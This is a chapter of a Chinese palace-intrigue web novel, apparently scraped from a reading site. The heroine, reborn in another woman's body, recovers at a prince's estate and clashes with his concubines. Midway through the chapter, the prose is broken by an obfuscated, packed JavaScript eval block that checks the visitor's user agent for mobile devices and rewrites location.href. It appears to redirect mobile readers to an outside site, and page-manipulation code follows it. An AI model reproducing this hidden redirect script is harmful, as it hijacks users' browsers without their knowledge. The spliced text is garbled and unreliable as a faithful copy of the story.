马车一路从皇宫驶到壹园。在门口等候多时的小桃见他们回来,搓搓冰凉的手迎过来。
“怎么了?小姐这是又毒性发作了吗?”看到马车里昏迷的罗玉舒,小桃猜测问。
卓横将昏迷的罗玉舒抱出马车,抿嘴不语。他可不敢说五皇子把人打晕的。
壹园,是越帝赏赐给五皇子越辞君独立的庄府。
北越国君后宫佳丽三千,但他最令人钦佩的一点就是不会独宠一人,所有皇子一视同仁。
北越暂未立储君,东宫一直无人居住,成年前皇子们可以住在宫里,成年后越帝会赐于他们府邸,要求他们独立。
越辞君十六岁被寻回,就前往南凌国做了一年交换质子,后回北越。
他不曾在宫里待过一日,回北越没几日,恰遇军营征兵,他便跟随当时的出征将军随兵锻炼,后遇敌军来犯,他自请相随,至此他便常年随军征战沙场。
从在第二场战役中,越辞君展露头角,献计谋划,以少人数战胜多数,深得统帅心意。
到第三场第四场战役,他完全摆脱其他将领教给他的战法,军法自成一派,又骁勇善战,打得他国落花流水,兵退国降比那些只会纸上谈兵的将领实干许多,深受重用。
也是在这几场战绩下,北越国慢慢成为中原大地上最骁勇的国家,许多小国开始依附北越国,向北越国进贡。
越辞君也在一场场战役中,获得“北越战神”的名号。
那时他还未及冠,为了振奋军中士气,也为了打压其他皇子,让各个皇子监督进步,越帝特例赏赐壹园给他。
壹园地段是上京最好的地皮,后靠山脉,前邻湖江,风景四宜。
左面是北越繁华的朱雀大街,右方是上京热闹的玄武大道,交通畅行,无忧无阻。
实在是一座人人倾羡的园府。
越帝赐府邸的时候,大皇子还闹过,越辞君以退为进博得其他大臣同情,大臣们纷纷上书请陛下赏赐好一点的府邸。
就这样,他轻而易举不费吹灰之力拿下了壹园。
罗玉舒中的蛮毒不算严重,宫里随便一个御医都能治,只有些药是身为军医的张从行没有的,只能回京医治。
壹园叫了大夫,罗玉舒在这里休养了两日,大夫开了药,丫鬟们精心照料,蛮毒便很快根除。
来到北越,罗玉舒向外面打听了前世乌衣巷罗家,父母皆已逝去。
如她所料,父亲在三年前一场春瘟后被斩首,母亲伤心欲绝也随之香消玉殒。父母皆是在她死后没多久死掉的。
在这个世界上,已没有爱她和她所爱的人了。
如今她占着慕容卿玉的身体,只为前世的自己,还有冤死的父母讨还一个公道,她要那些害死他们的人,付出代价。
在壹园这几日,她没见过越辞君,他似乎很忙,所有的一切都是卓横来安排。
卓横着人给她单独劈了个院子,又给她派了一个瘦小丫鬟和一个生活婆子,负责她的起居吃食。
丫鬟蛮香是个结巴,讲话没头没脑,不过做事勤快,教会小桃很多东西。
不过,也因为结巴,惹了点事来。
一日午睡,小桃在灶上煎药,院门半掩半开,挤进来一个人。
来人声音尖锐,如刀剑划石块刺耳,“喏,就是蛮香,说四姨娘你不好看,不得殿下的宠。”
小桃还没发现,另一个结巴丫鬟蛮香跑了过来,“你……你别,别乱说,奴,奴没有。”蛮香害怕吵醒屋里睡觉的小姐,小声反驳。
不请自来的丫鬟后面跟着她的主子,也就是蛮香口中所说的四姨娘。
四姨娘进门未侧身,步子大摇大摆,抬肘猛力一推,把院门撞开,木门吱呀一声,重重砸在石墙上,发出“嘭”地声响。
这下不止小桃听到了,就连屋里刚吃完药午睡的罗玉舒也听见了。
小桃放下蒲扇,走近来,“蛮香,怎么了?”
蛮香开口刚准备出声,四姨娘的丫鬟抢先一步,声音颇响:“你就是新来的那个姨娘的丫鬟,叫什么小桃的吧。”
屋里罗玉舒眉眼微皱。
新来的姨娘,是说她吗?什么时候她成了越辞君的姨娘?
屋外小桃也是一脸懵,还没反驳,对方又指着她骂道:
“我们四姨娘可比你们先进门一年,你们是什么东西竟然住在这里,还有,按照辈分,你们姨娘应该喊我们四姨娘姐姐,怎么现在小辈这么没礼貌,私下也不来请安,还叫这个死丫头诋毁我们姨娘。”
蛮香被人指着鼻子骂,冤枉得哭起来,“没,没……没有的事,奴没有诋毁……姨娘……”
或是从来没受过如此冤屈,蛮香声音发颤,连解释都说不出口。
见她如此软弱,小桃一把将人拉住,护在身后,也指着鼻子骂回去,“你们什么东西,跑到我们小姐院子来干什么?”
嚣张的四姨娘丫鬟讲话时头高昂,一副盛气凌人模样,“你又是哪个来的,竟如此没礼貌……”
四姨娘的丫鬟话还未说完,只听两声“啪啪”,她的左右脸被人重重招呼上来,力道不小,瞬时红肿了脸。
四姨娘被突然冲出来的身影吓了一跳,“你……你……”
罗玉舒从小桃腰间掏出一张绢帕,嫌弃地擦擦手,“我,我什么我?”
她擦完手,白皙手腕轻抬,小桃会意过来搀扶。
“这是哪疙瘩钻出来的野蛮丫头,竟敢如此放肆,跑到我院子撒野,”罗玉舒学着那丫鬟抬高下巴,趾高气昂说道:“四姨娘是吧,我帮你教训下人,是不是该感谢我。”
四姨娘长相年轻,前颌微凸,身材矮胖,不像好出身。
见出来一位身着织锦华贵衣裳的女子,如此气质与相貌,四姨娘只觉不好惹,便想走。
罗玉舒立马叫住她们,让她们给蛮香道歉,道完歉才放她们走。
主仆二人走后,蛮香被吓得直直跪了下去。
“小姐,奴没有……没说四姨娘……不好看,奴只,只是昨日洗衣时,在洗衣衣房和其他姐妹说……说奴伺候的主子很漂亮……”蛮香说话断断续续。
罗玉舒闲不住站这里听,擦着手腕往屋里走,两丫头跟在后面。
“奴从来……没有贬低其他姨娘。”蛮香强调。
慕容卿玉这副皮囊长相优渥,肤凝冰肌,气质独特,往那一站,就能迷倒一片。
若是罗玉舒前世长相,顶着一条疤痕,对其他人没有任何吸引力,更别说攻击性了。
要怪只能怪慕容卿玉长得太好看,被人恨上也是在所难免。
不过,罗玉舒的重点不在这里。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323873|199112||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她问蛮香:“刚才那个是五殿下的四姨娘,五殿下到底有几个姨娘?”
看越辞君那不食人间烟火模样,还以为他洁身自好,是个正人君子,不曾想府中莺燕成群。
“一共五,五个,还有一个秦姑娘,是几年前,殿殿下从青楼……青楼救回来的花魁姑娘……”
说完,蛮香捂着自己的嘴不敢往下说,下人怎可议论殿下的姨娘们,而且她是洗衣房的下人,很少接触主子,这些也都是听别人说的。
没看出来,越辞君连青楼姑娘也不放过,实在太放浪。
啧啧。
罗玉舒感叹。
越辞君平日看起来冷淡如霜,不苟言笑,没想到私下竟玩得这么花。
今日一个四姨娘闹上院子,明日指不定又是哪个姨娘要来,她得多了解一下这些个姨娘。
蛮香是洗衣房的下人,平日很少接触人,又因其性格胆小,不交朋友,更没有打听那些姨娘的偏好。
她唯一一次接触的是那位秦姑娘,只去送了一次衣裳,便再也没去过。
蛮香说,秦姑娘是几年前越辞君从青楼赎出来的,当时秦姑娘受了伤,养在院子里很久很久。
在此期间,越辞君推了陛下的早朝,推了其他王公贵族公子哥们的邀宴,一心照料秦姑娘。
与其他姨娘不同的是,秦姑娘没有过门,所以越辞君命令下人们不称呼姨娘。
但秦姑娘的吃住规格比其他姨娘好,而且秦姑娘长得美,五殿下时常让秦姑娘去前院竹院,也就是越辞君自己的居所,一待就是一整夜。
听完,罗玉舒想到越辞君那张人畜无害的脸,不由得想起云影。
她现在越发觉得,越辞君长得一点都不像云影。
云影不会花心,云影只会对她一个人好。
回北越上京这段日子,天逐渐转晴,雪下得不似境地那般大,只够覆盖大地薄薄一层。
前世罗玉舒喜红色,但因她脸上疤痕问题很少穿红。
这一世,借慕容卿玉的皮囊,她日日穿红,妖冶艳丽,大红雪衣显白,站着雪地,整个人像发光一样美。
四姨娘带着另一个姨娘来雪院的时候,罗玉舒正站在雪地堆雪人。
她小心将一颗圆圆雪球立在人形雪上方,简单画上眉眼口鼻,又捡一支树枝做剑,另一只手比剑决。
看着杰作,她不禁感叹:
真像云影。
可下一瞬,那如梦似幻的雪人突地被人踩塌,脑袋滚到地上,碎雪散了一地。
罗玉舒抬眸,不知何时院里站着两个人,正趾高气昂盯着她,眸中满是不屑。
“你就是新来的六姨娘?”开口的不是四姨娘,是四姨娘身边的另一个女子。
“新来的六姨娘”显然是称呼她的。
罗玉舒不喜欢这个称呼,就算孤老一辈子,她也不想做谁的姨娘。
娘亲曾与她说过:“宁做农夫妻,不做公府妾,女子要为自己而活”。
这句话她一直记得。
不过现在,她必须承认,有时候软刀子,杀起人来,比硬刀子疼。
罗玉舒扭着腰肢站起来,手捏兰花指,一副娇媚做作模样,轻声细语中带着嘲讽:
“对呀,五殿下近日一直宿在我这里,姐姐们是来找他的吗?”